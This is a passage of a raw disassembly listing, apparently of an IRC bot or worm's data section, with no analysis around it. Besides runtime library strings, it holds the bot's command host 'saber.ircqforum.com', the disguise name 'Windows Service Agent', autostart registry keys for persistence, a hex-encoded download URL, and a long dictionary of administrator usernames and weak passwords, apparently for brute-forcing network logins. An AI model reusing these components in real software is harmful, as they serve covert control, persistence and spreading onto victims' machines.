flt_427704 dd 8.0 ; DATA XREF: sub_41A9BC+1A8r
; sub_41F5D4+4Ar
flt_427708 dd 0.0 ; DATA XREF: sub_41A9BC+16Fr
flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A9BC+166r
dbl_427710 dq 1.0 ; DATA XREF: sub_41CDE5+6Cr
; sub_41CF2B+6Cr ...
dd 0FFFFFFFFh, 41E1AAh, 41E1BEh
byte_427724 db 6 ; DATA XREF: sub_41F5D4:loc_41F62Br
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43A89Co
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43A898o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43AB14o
dbl_427848 dq 0.0 ; DATA XREF: sub_421294+8Cr
; sub_421294+ACr ...
dbl_427850 dq 4.195835e6 ; DATA XREF: sub_4217A9+Fr
dbl_427858 dq 3.145727e6 ; DATA XREF: sub_4217A9+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4217E7+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4217E7o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_42190E+93o
align 10h
dword_427890 dd 0FFFFFFFFh, 421FF9h, 422003h, 0 ; DATA XREF: sub_421F92+5o
dword_4278A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4220C1+5o
dd offset loc_42217F
align 10h
dd offset sub_42215D
dd offset sub_422167
dword_4278B8 dd 0FFFFFFFFh, 4223AFh, 4223B3h, 0 ; DATA XREF: sub_4221F7+5o
dword_4278C8 dd 0FFFFFFFFh, 422411h, 42241Ah, 0 ; DATA XREF: sub_4223BB+5o
dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42249C+5o
dd offset loc_4224ED
align 8
dd offset loc_4224D9
dd offset loc_4224DD
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4224F2+5o
dd offset loc_422543
align 10h
dd offset loc_42252F
dd offset loc_422533
dword_427908 dd 2 dup(0) ; DATA XREF: sub_4229D2+36o
; sub_423BF4+39o ...
dword_427910 dd 0FFFFFFFFh, 422AE2h, 422AE6h, 0FFFFFFFFh, 422B96h, 422B9Ah
; DATA XREF: sub_4229D2+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43ACECo
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4234D1+119o
align 4
asc_427BD8 db 0Ah ; DATA XREF: sub_4234D1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4234D1+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_4234D1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4234D1+7Do
align 8
dword_427C18 dd 0FFFFFFFFh, 423CEDh, 423CF1h ; DATA XREF: sub_423BF4+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4246FC+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424C88+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424C88+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424C88+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42559E:loc_425693o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_42559E+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_42559E+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_42559E+ADo
align 4
dword_427CB8 dd 0FFFFFFFFh, 425F96h, 425F9Ah, 0FFFFFFFFh, 426005h, 426009h
; DATA XREF: sub_425DDF+5o
dd 427DF4h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
dd offset sub_4263B5
dd offset sub_4265D6
dd offset dword_427E40
off_427CE4 dd offset sub_42642C ; DATA XREF: sub_4263DE+3Ao
; sub_426448o ...
dd offset sub_4263B5
dd offset loc_426612
dword_427CF0 dd 0 ; DATA XREF: sub_4263DE+16o
; sub_4264B0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426453+11o
dd offset dword_427E8C
off_427D10 dd offset sub_42653B ; DATA XREF: sub_426557o
; sub_42657A+37o ...
dd offset sub_4263B5
dd offset loc_4265F4
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42657A+11o
dd offset dword_427ED0
off_427D30 dd offset loc_426760 ; DATA XREF: sub_42674Bo
; ___:off_43B414o ...
dd offset dword_427F00
off_427D38 dd offset loc_42677C ; DATA XREF: sub_426798+8o
; sub_4267D5+8o ...
dd offset sub_426835
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_426835+7o
align 8
dword_427D58 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426842+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D78 dd 0FFFFFFFFh, 4269F3h, 4269F7h, 0FFFFFFFFh, 426A70h, 426A74h
; DATA XREF: sub_4268F1+5o
dword_427D90 dd 0FFFFFFFFh, 426C68h, 426C6Ch, 0FFFFFFFFh, 426CC5h, 426CC9h
; DATA XREF: sub_426B7C+5o
dd 43B414h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DC0 dd offset off_43B42C ; DATA XREF: ___:00427DD8o
; ___:00427E24o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset dword_427D90+18h
dword_427DE0 dd 3 dup(0) ; DATA XREF: ___:00427E04o
dd 2, 427DD8h, 3 dup(0)
dd offset off_43B42C
dd offset dword_427DE0+4
off_427E08 dd offset off_43B44C ; DATA XREF: ___:00427E20o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E08
dd offset off_427DC0
dd offset dword_427D90+18h
dword_427E2C dd 3 dup(0) ; DATA XREF: ___:00427E50o
dd 3, 427E20h
dword_427E40 dd 3 dup(0) ; DATA XREF: ___:00427CE0o
dd offset off_43B44C
dd offset dword_427E2C+4
off_427E54 dd offset off_43B46C ; DATA XREF: ___:00427E6Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E54
dd offset off_427DC0
dd offset dword_427D90+18h
dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427E9Co
dd 3, 427E6Ch
dword_427E8C dd 3 dup(0) ; DATA XREF: ___:00427D0Co
dd offset off_43B46C
dd offset dword_427E78+4
off_427EA0 dd offset off_43B490 ; DATA XREF: ___:00427EB8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427EA0
dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427EE0o
dd 1, 427EB8h
dword_427ED0 dd 3 dup(0) ; DATA XREF: ___:00427D2Co
dd offset off_43B490
dd offset dword_427EBC+4
dd offset dword_427D90+18h
dword_427EE8 dd 4 dup(0) ; DATA XREF: ___:00427F10o
dd 1, 427EE4h
dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D34o
dd offset off_43B414
dd offset dword_427EE8+8
align 8
dword_427F18 dd 19930520h, 2, 427F38h, 5 dup(0) ; DATA XREF: ___:loc_426D63o
dd 0FFFFFFFFh, 426D4Ch, 0
dd offset sub_426D44
dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426D80o
dd 0FFFFFFFFh, 426D70h, 0
dd offset loc_426D78
dword_427F78 dd 19930520h, 2, 427F98h, 1, 427FA8h, 3 dup(0) ; DATA XREF: ___:loc_426D8Co
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FC0h, 4 dup(0)
dd offset loc_40DA7F
dd 0FFFFFFFFh, 426D96h
dword_427FD8 dd 19930520h, 1, 427FD0h, 5 dup(0) ; DATA XREF: ___:loc_426D9Eo
dd offset off_43B414
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 4267D5h, 0
dd offset off_43B42C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4264F8h, 0
dd offset off_43B44C
align 8
dd 0FFFFFFFFh, 0
dword_428040 dd 1Ch, 426562h, 3, 42802Ch, 428010h, 427FF4h ; DATA XREF: ___:00428064o
dword_428058 dd 0 ; DATA XREF: sub_426453+2Eo
; sub_4265D6+4Bo
dd offset sub_426448
dd 0
dd offset dword_428040+8
dd 0FFFFFFFFh, 426DA8h
dword_428070 dd 19930520h, 1, 428068h, 4 dup(0) ; DATA XREF: ___:loc_426DB0o
dd 0FFFFFFFFh, 426DBAh
dword_428094 dd 19930520h, 1, 42808Ch, 4 dup(0) ; DATA XREF: ___:loc_426DC2o
dd 0FFFFFFFFh, 426DCCh
dword_4280B8 dd 19930520h, 1, 4280B0h, 5 dup(0) ; DATA XREF: ___:loc_426DD4o
dd offset off_43B46C
align 10h
dd 0FFFFFFFFh, 0
dword_4280E8 dd 1Ch, 4265BEh, 3, 4280D4h, 428010h, 427FF4h ; DATA XREF: ___:0042810Co
dword_428100 dd 0 ; DATA XREF: sub_42657A+2Eo
; sub_4265D6+2Do
dd offset sub_426557
dd 0
dd offset dword_4280E8+8
dd 0FFFFFFFFh, 426DDEh
dword_428118 dd 19930520h, 1, 428110h, 4 dup(0) ; DATA XREF: ___:loc_426DE6o
dword_428134 dd 2, 428010h, 427FF4h ; DATA XREF: ___:0042814Co
dword_428140 dd 0 ; DATA XREF: sub_4265D6+Fo
dd offset sub_42639A
dd 0
dd offset dword_428134
dd 5 dup(629EB57Bh), 5 dup(16CDD812h), 5 dup(395C3B14h)
dd 7Ah dup(0)
dd 395C3B14h, 0
dd 629EB57Bh, 15h dup(0)
dd 16CDD812h, 0Eh dup(0)
dd 53524556h, 2E4E4F49h, 6C6C64h, 2F9h dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041BF23o
dd offset loc_401205
dd offset sub_40DB2D
dd offset sub_40E283
dd offset dword_40EEEC+1D0h
dword_429014 dd 0 ; DATA XREF: ___:0041BF1Eo
dword_429018 dd 0 ; DATA XREF: ___:0041BF14o
; ---------------------------------------------------------------------------
retn 41D7h
; ---------------------------------------------------------------------------
align 10h
dd offset sub_4201A2
dd offset sub_42383E
dd offset word_424662
dword_42902C dd 0 ; DATA XREF: ___:loc_41BF0Fo
dword_429030 dd 0 ; DATA XREF: sub_41BF53+65o
dd offset sub_4238E3
dword_429038 dd 0 ; DATA XREF: sub_41BF53:loc_41BFB3o
dword_42903C dd 0 ; DATA XREF: sub_41BF53+76o
dd offset byte_424673
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41BF53:loc_41BFC4o
dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016BFr
; ___:00401754r
dword_429070 dd 13FBh ; DATA XREF: ___:004017A0r
dword_429074 dd 1A08h ; DATA XREF: sub_401AC7:loc_4045E2r
dword_429078 dd 45h ; DATA XREF: sub_401AC7+201Er
; sub_40BD7C+3Br
dword_42907C dd 1F90h ; DATA XREF: sub_401AC7:loc_403BD0r
; sub_40BD7C:loc_40C16Dr
dword_429080 dd 201h ; DATA XREF: sub_401AC7:loc_403D5Cr
word_429084 dw 7C7h ; DATA XREF: sub_401AC7:loc_404705r
align 4
dword_429088 dd 1 ; DATA XREF: sub_401AC7+640r
dword_42908C dd 1 ; DATA XREF: ___:loc_40155Fr
; sub_418857+Cr
byte_429090 db 2Eh ; DATA XREF: sub_401AC7+A6Ar
; sub_401AC7+B23r ...
align 4
dword_429094 dd 5 ; DATA XREF: sub_40AAA0+39r
; sub_40AAA0+5Fr ...
dword_429098 dd 6 ; DATA XREF: sub_4017E7+78r
; sub_401AC7+27Cr ...
dword_42909C dd 1 ; DATA XREF: sub_4017E7+72r
; sub_401AC7+276r
a1221 db '1221',0 ; DATA XREF: ___:0040127Eo
; sub_401AC7:loc_40443Do ...
align 4
aZxvsVrx db 'ZxVs VRX',0 ; DATA XREF: sub_401AC7:loc_40490Co
align 4
aCool db 'cool',0 ; DATA XREF: sub_401AC7+7BD0o
; sub_401AC7+7C9Fo
align 4
aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016ABo
; ___:00401745o
byte_4290D0 db 56h ; DATA XREF: sub_40194F+28r
; sub_40194F+30o
db 72h, 58h, 0
dword_4290D4 dd 41414623h, 234Bh ; DATA XREF: ___:004016CBo
; ___:0040175Bo ...
dword_4290DC dd 64616173h, 2Eh ; DATA XREF: ___:004016E2o
; ___:0040176Do
byte_4290E4 db 73h ; DATA XREF: ___:loc_401783r
; ___:00401791o
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak db '#FAAK#',0 ; DATA XREF: ___:004017A7o
align 10h
aSaad_ db 'saad.',0 ; DATA XREF: ___:004017B9o
align 4
byte_429108 db 6Dh ; DATA XREF: ___:00401361o
; ___:00401385w ...
db 73h, 6Eh, 73h
dd 2E737267h, 657865h, 6E6E6977h, 61622E74h, 74h
aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo
align 4
aVrx db 'VrX|',0
align 10h
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401AC7+7D1Fo
align 4
aF db '#f',0 ; DATA XREF: sub_401AC7+1E81o
; sub_401AC7+1E92o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401AC7+72B0o
; sub_401AC7+7305o
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401AC7+40EEo
; sub_401AC7+423Bo
align 10h
off_429160 dd offset a@admin_com ; DATA XREF: sub_401AC7:loc_4096E1o
; "*@admin.com"
off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+89Er
; sub_401AC7+7C36o
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A367+28o
; sub_41A68B+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A367+D4o
; sub_41A68B+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h
dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh
dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h
dd 4298A0h, 429898h, 429894h, 0
dd offset byte_43B4B8
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 10h
dword_4294D0 dd 10h ; DATA XREF: sub_401AC7+AD3r
; sub_401AC7+AFFr ...
aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo
align 10h
aLan db 'lan',0 ; DATA XREF: ___:004294B4o
aMain db 'main',0 ; DATA XREF: ___:004294B0o
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo
aBlank db 'blank',0 ; DATA XREF: ___:004294A8o
align 4
aOffice db 'office',0 ; DATA XREF: ___:004294A4o
align 4
aControl db 'control',0 ; DATA XREF: ___:004294A0o
aXp db 'xp',0 ; DATA XREF: ___:0042949Co
align 10h
aNokia db 'nokia',0 ; DATA XREF: ___:00429498o
align 4
aHp db 'hp',0 ; DATA XREF: ___:00429494o
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o
aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co
align 4
aDell db 'dell',0 ; DATA XREF: ___:00429488o
align 4
aCisco db 'cisco',0 ; DATA XREF: ___:00429484o
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:00429480o
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
align 10h
aSql db 'sql',0 ; DATA XREF: ___:00429470o
aSa db 'sa',0 ; DATA XREF: ___:0042946Co
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o
align 10h
aDb1 db 'db1',0 ; DATA XREF: ___:00429460o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co
align 4
aData db 'data',0 ; DATA XREF: ___:00429458o
align 10h
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o
align 10h
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co
align 4
aAccess db 'access',0 ; DATA XREF: ___:00429448o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co
align 4
aDomain db 'domain',0 ; DATA XREF: ___:00429438o
align 10h
aHello db 'hello',0 ; DATA XREF: ___:00429434o
align 4
aHell db 'hell',0 ; DATA XREF: ___:00429430o
align 10h
aGod db 'god',0 ; DATA XREF: ___:0042942Co
aSex db 'sex',0 ; DATA XREF: ___:00429428o
aSlut db 'slut',0 ; DATA XREF: ___:00429424o
align 10h
aBitch db 'bitch',0 ; DATA XREF: ___:00429420o
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co
align 10h
aExchange db 'exchange',0 ; DATA XREF: ___:00429418o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:00429414o
align 4
aTechnical db 'technical',0 ; DATA XREF: ___:00429410o
align 10h
aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co
align 4
aLogin db 'login',0 ; DATA XREF: ___:00429408o
align 4
aMary db 'mary',0 ; DATA XREF: ___:00429404o
align 4
aKatie db 'katie',0 ; DATA XREF: ___:00429400o
align 4
aKate db 'kate',0 ; DATA XREF: ___:004293F8o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:004293F4o
align 4
aEric db 'eric',0 ; DATA XREF: ___:004293F0o
align 4
aChris db 'chris',0 ; DATA XREF: ___:004293ECo
align 4
aIan db 'ian',0 ; DATA XREF: ___:004293E8o
aNeil db 'neil',0 ; DATA XREF: ___:004293E4o
align 10h
aLee db 'lee',0 ; DATA XREF: ___:004293E0o
aBrian db 'brian',0 ; DATA XREF: ___:004293DCo
align 4
aSusan db 'susan',0 ; DATA XREF: ___:004293D4o
align 4
aSue db 'sue',0 ; DATA XREF: ___:004293D0o
aSam db 'sam',0 ; DATA XREF: ___:004293CCo
aLuke db 'luke',0 ; DATA XREF: ___:004293C8o
align 4
aPeter db 'peter',0 ; DATA XREF: ___:004293C4o
; ___:004293D8o
align 4
aJohn db 'john',0 ; DATA XREF: ___:004293C0o
align 4
aMike db 'mike',0 ; DATA XREF: ___:004293BCo
align 4
aBill db 'bill',0 ; DATA XREF: ___:004293B8o
align 4
aFred db 'fred',0 ; DATA XREF: ___:004293B4o
align 4
aJoe db 'joe',0 ; DATA XREF: ___:004293B0o
aJen db 'jen',0 ; DATA XREF: ___:004293ACo
aBob db 'bob',0 ; DATA XREF: ___:004293A8o
; ___:004293FCo
aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o
aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o
aAsd db 'asd',0 ; DATA XREF: ___:0042939Co
aQaz db 'qaz',0 ; DATA XREF: ___:00429398o
aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o
aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co
align 10h
aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o
align 4
aWin98 db 'win98',0 ; DATA XREF: ___:00429384o
align 10h
aWindows db 'windows',0 ; DATA XREF: ___:00429380o
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co
align 4
aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o
aOem db 'oem',0 ; DATA XREF: ___:00429374o
aUser db 'user',0 ; DATA XREF: sub_401AC7+45F2o
; ___:00429370o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co
align 4
aHome db 'home',0 ; DATA XREF: ___:00429368o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o
align 4
aInternet db 'internet',0 ; DATA XREF: ___:0042935Co
; ___:004294B8o
align 10h
aWww db 'www',0 ; DATA XREF: ___:00429358o
aWeb db 'web',0 ; DATA XREF: sub_401AC7+727Fo
; ___:00429354o
aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o
aMail db 'mail',0 ; DATA XREF: ___:0042934Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o
align 10h
aNull_1 db 'null',0 ; DATA XREF: ___:00429344o
align 4
aServer db 'server',0 ; DATA XREF: sub_401AC7+3E8Fo
; ___:0042933Co
align 10h
aSystem db 'system',0 ; DATA XREF: ___:00429338o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o
align 4
aLinux db 'linux',0 ; DATA XREF: ___:0042932Co
align 4
aUnix db 'unix',0 ; DATA XREF: ___:00429328o
align 4
aDemo db 'demo',0 ; DATA XREF: ___:00429324o
align 4
aNone db 'none',0 ; DATA XREF: ___:00429320o
align 4
aTest db 'test',0 ; DATA XREF: ___:00429318o
align 4
a2004 db '2004',0 ; DATA XREF: ___:00429314o
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AF2B+BAo
; ___:00429310o
align 4
a2002 db '2002',0 ; DATA XREF: ___:0042930Co
align 4
a2001 db '2001',0 ; DATA XREF: ___:00429308o
align 4
a2000 db '2000',0 ; DATA XREF: ___:00429304o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o
align 10h
a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o
a123456 db '123456',0 ; DATA XREF: ___:004292F0o
align 4
a12345 db '12345',0 ; DATA XREF: ___:004292ECo
align 10h
